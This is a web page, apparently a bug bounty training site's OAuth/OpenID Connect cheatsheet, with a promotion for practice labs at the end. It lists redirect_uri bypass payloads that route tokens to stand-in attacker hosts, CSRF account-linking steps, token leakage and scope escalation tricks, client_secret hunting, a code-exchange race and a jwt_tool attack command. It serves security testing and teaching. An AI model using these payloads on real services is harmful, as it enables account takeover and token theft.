OAuth Cheatsheet

OAuth / OpenID Connect

Quick reference

→Always try redirect_uri with subdomains, path traversal and open redirects on the target
→If the state parameter is missing, there's CSRF in the OAuth flow — it lets you link the attacker's account
→Implicit flow (response_type=token) leaks tokens in the URL, Referer and browser history
→Look for client_secret in JS source, Android APKs and Git repositories
→Combine an open redirect on an allowed domain + redirect_uri for token theft

redirect_uri bypass

Subdomain

redirect_uri=https://attacker.target.com/callback

Path traversal

redirect_uri=https://target.com/callback/../../../attacker.com

Fragment injection

redirect_uri=https://target.com/callback#@attacker.com

Open redirect on allowed domainOpen redirect + OAuth = token theft

redirect_uri=https://target.com/redirect?url=https://attacker.com

Localhost bypass

redirect_uri=http://localhost:8080/callback

URL encoding

redirect_uri=https://target.com%40attacker.com

Double encoding

redirect_uri=https://target.com%252f%252fattacker.com

CSRF in the OAuth flow

No state parameterNo state = CSRF possible, link the attacker's account to the victim

https://oauth.provider.com/authorize?client_id=APP&redirect_uri=https://target.com/callback&response_type=code

State not verifiedTest whether the backend actually validates state

https://oauth.provider.com/authorize?client_id=APP&redirect_uri=https://target.com/callback&response_type=code&state=anything

Account linking CSRFThe attacker can log in as the victim via Google

1. Atacante inicia OAuth flow con su cuenta de Google
2. Intercepta el callback URL con el code
3. Envia la URL a la victima
4. La victima vincula la cuenta Google del atacante a su perfil

Token theft and leakage

Token in Referer header

1. OAuth usa response_type=token (implicit flow)
2. Token aparece en URL fragment
3. Pagina tiene recurso externo (imagen, script)
4. Token se filtra en Referer header al recurso externo

Token in browser history

Implicit flow almacena tokens en URL, visible en historial del navegador

Scope escalationAdd extra scopes the server shouldn't allow

https://oauth.provider.com/authorize?scope=openid+profile+email+admin

Advanced misconfigurations

Exposed client secretWith client_secret you can exchange codes for tokens

Buscar client_secret en: JS del frontend, mobile APK, .env files, git history

Cross-service token reuse

Usar access_token de un servicio en otro servicio del mismo proveedor

Race condition in code exchangeThe code should be single-use

1. Obtener authorization code
2. Enviar multiples requests simultaneas de intercambio de code
3. Obtener multiples access tokens del mismo code

PKCE downgradeIf the server doesn't enforce PKCE, you can use a flow without PKCE

Eliminar code_challenge y code_verifier del flujo

Tools

Burp Suite OAuth flow

Intercept and modify every step of the OAuth flow for manual testing

Burp > Proxy > Interceptar flujo OAuth completo

oauth-tools

Burp extension to automatically detect OAuth vulnerabilities

Burp Extensions > OAuth tools by James Kettle

JWT Tool for OAuth tokens

Analyze and attack JWT access tokens issued by OAuth providers

python3 jwt_tool.py <access_token> -M at

Ready to practice?

Put these payloads to work in real labs based on bug bounty reports.

See practice labs

hunters training: 650
labs from real reports: 50
completions: 380
in bounties practiced: $200,000

40 flags captured this week·Real reports from HackerOne · Bugcrowd · Intigriti·No commitment·Free Academy

BBLabs · bug bounty training

Stop reading about bugs and start hunting them

Create your free account and practice on labs based on real reports that paid out thousands of euros. The Academy is free forever.

Create free account See the labs

No card · free Academy · cancel anytime